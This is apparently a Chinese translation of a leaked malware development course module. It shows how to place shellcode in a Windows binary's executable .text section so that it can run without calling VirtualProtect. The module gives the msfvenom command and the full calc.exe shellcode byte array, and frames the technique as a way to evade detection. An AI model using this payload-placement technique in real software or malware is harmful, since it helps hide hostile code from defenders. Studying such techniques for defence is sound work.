模块 14 - Payload 存放 - .text 段
恶意软件开发课程 - Payload 存放 - .text 段
模块 14 - Payload 存放 - .text 段#
[!IMPORTANT] 本知识库声明
本知识库由本人整理自互联网 MalDev Academy 泄露资源,并由本人手动翻译为中文,过程中增加了大量关键技术提示与实践心得。
- 内容完整性:并未修改任何核心代码与技术逻辑,仅做汉化与注释加强。
- 版权归属:原始知识产权归原作者/官方所有。
- 支持正版:本仓库仅供内部学习交流,如果您有经济能力,请务必支持正版课程。
- 权利申诉:如相关内容侵犯了您的权益,请联系我,我将立即核实并删除。
Payload 存放 - .text 段#
简介#
在上一个模块中,我们讨论了如何将 payload 存储在 .data 和 .rdata 段。本模块将介绍如何将 payload 存储在 .text 段中。
.text 段#
将变量保存在 .text 段不同于将其保存在 .data 或 .rdata 段,因为这不仅仅是声明一个普通变量的问题。相反,你必须明确指示编译器将其保存在 .text 段中,如下面的代码片段所示。
#include <Windows.h>
#include <stdio.h>
// msfvenom calc shellcode
// msfvenom -p windows/x64/exec CMD=calc.exe -f c
// 保存在 .text 段的 payload
#pragma section(".text")
__declspec(allocate(".text")) const unsigned char Text_RawData[] = {
0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00
};
int main() {
printf("[i] Text_RawData var : 0x%p \n", Text_RawData);
printf("[#] Press <Enter> To Quit ...");
getchar();
return 0;
}c[!IMPORTANT] 📚 知识扩展 - 编译器指令详解
代码中使用了两个重要的编译器指令:
#pragma section(".text")
- 这是一个预处理器指令,告诉编译器创建或使用名为
.text的节#pragma是编译器特定的指令,不同编译器可能有不同的行为__declspec(allocate(".text"))
- 这是 MSVC 特定的扩展,用于指定变量应该分配到哪个节
const unsigned char确保数据被标记为常量为什么需要这样做?
正常情况下,const 数组会自动放入.rdata段(只读数据段),但我们通过这些指令强制编译器将其放入.text段。
在这里,我们告诉编译器将 Text_RawData 变量放置在 .text 段而不是 .rdata 段。.text 段的特殊之处在于它存储具有可执行内存权限的变量,允许它们被直接执行,而无需修改内存区域的权限。这对于大约小于 10 字节的小型 payload 非常有用。
使用 PE-Bear 工具检查从上述代码片段编译的二进制文件,可以发现 payload 位于 .text 区域。

总结#
.text段用于存储可执行代码,默认具有执行权限- 使用
#pragma section(".text")和__declspec(allocate(".text"))可以将数据强制放入.text段 - 这种方法适用于小型 payload,可以避免调用
VirtualProtect等可疑 API - 对于较大的 payload,应该使用
.rsrc段或其他存储方法